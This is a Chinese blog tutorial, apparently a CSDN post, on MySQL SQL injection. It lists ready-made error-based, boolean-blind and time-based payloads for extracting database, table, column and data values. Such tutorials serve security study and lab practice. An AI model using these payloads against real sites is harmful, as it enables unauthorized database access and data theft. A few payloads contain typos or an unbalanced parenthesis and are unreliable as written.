Mysql的三种盲注、报错、布尔、延时——SQL注入

本文介绍了MySQL的三种盲注方法:报错注入,包括利用extractvalue()、updatexml()、floor()函数;布尔盲注,依赖length()、substr()、ascii()等函数对比页面状态;以及延时注入,通过sleep()和if()函数判断语句执行。这些技术用于在SQL注入场景下获取信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

报错注入

报错顾名思义,就是使语句报错。报错注入则是注入特殊的语句使报错回显中带上我们需要的信息。报错盲注也是三种盲注中效率最高的,常见的报错回显有三种函数extractvalue()、updatexml()、floor()
十二种报错:https://www.jianshu.com/p/bc35f8dd4f7c

使用条件:mysql版本>5.1.5
注意事项:extractvalue()、updatexml()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位
union、or、and可自由替换

extractvalue()

原函数:extractvalue(xml_document,Xpath_string)

' and (select extractvalue(1,concat(0x7e,(select database()),0x7e))) --+查库
' and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))--+查表
' and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))--+查字段
' and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))--+查数据

updatexml()

原函数:updatexml(xml_document,xpath_string,new_value)
payload

' or updatexml(1,concat('~',database(),'~'),1) --+ 查库
' union select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1) --+查表
' union select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME"),0x7e),1) --+查字段
' union select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e),1) --+查数据

floor()

' union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a--+查库
' union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a--+查表
' union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a--+查字段
' union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a--+查数据

布尔盲注

布尔盲注是利用数据库中的函数,将我们要获取的信息与猜测信息进行比对,正确页面正常,错误时与正确页面有区别。我们根据页面状态判断信息是否正确。在布尔盲注时我们通常会使用到length()、substr()、ascll()
用法:
length(string len);返回值——int,返回len的长度
substr(string string,num start,num length); 返回值——str,string为字符串;start为起始位置;length为长度。
ascll(string c);返回值——c对应的ascll
payload

' and length((select database()))=1 --+ 判断数据库长度
' and ascii(substr((select database()),1,1))=100--+	判断数据库第一位的ascll是否是100
' and length(select group_concat(table_name) from information_schema.tables where table_schema=database())=4--+  猜解表长度
' and length((select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()))=10--+ 猜列长度	

猜数据利用ascll猜解

延时注入

延时注入是注入延时回显参数,根据是否延时来判断语句执行是否正确。当布尔盲注页面回显无区别时通常搭配延时注入使用。延时注入常用的函数有sleep(),if()
用法:
sleep(int m);延时m秒
if(boolean res,a,b);首选判断res的返回值,true执行a,false执行b。

' and if(length(database())=1,sleep(5),1)--+ 判断数据库长度

其他操作与布尔盲注同理,布尔盲注利用的是页面回显差别,延时注入则利用时间判断页面是否正常。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值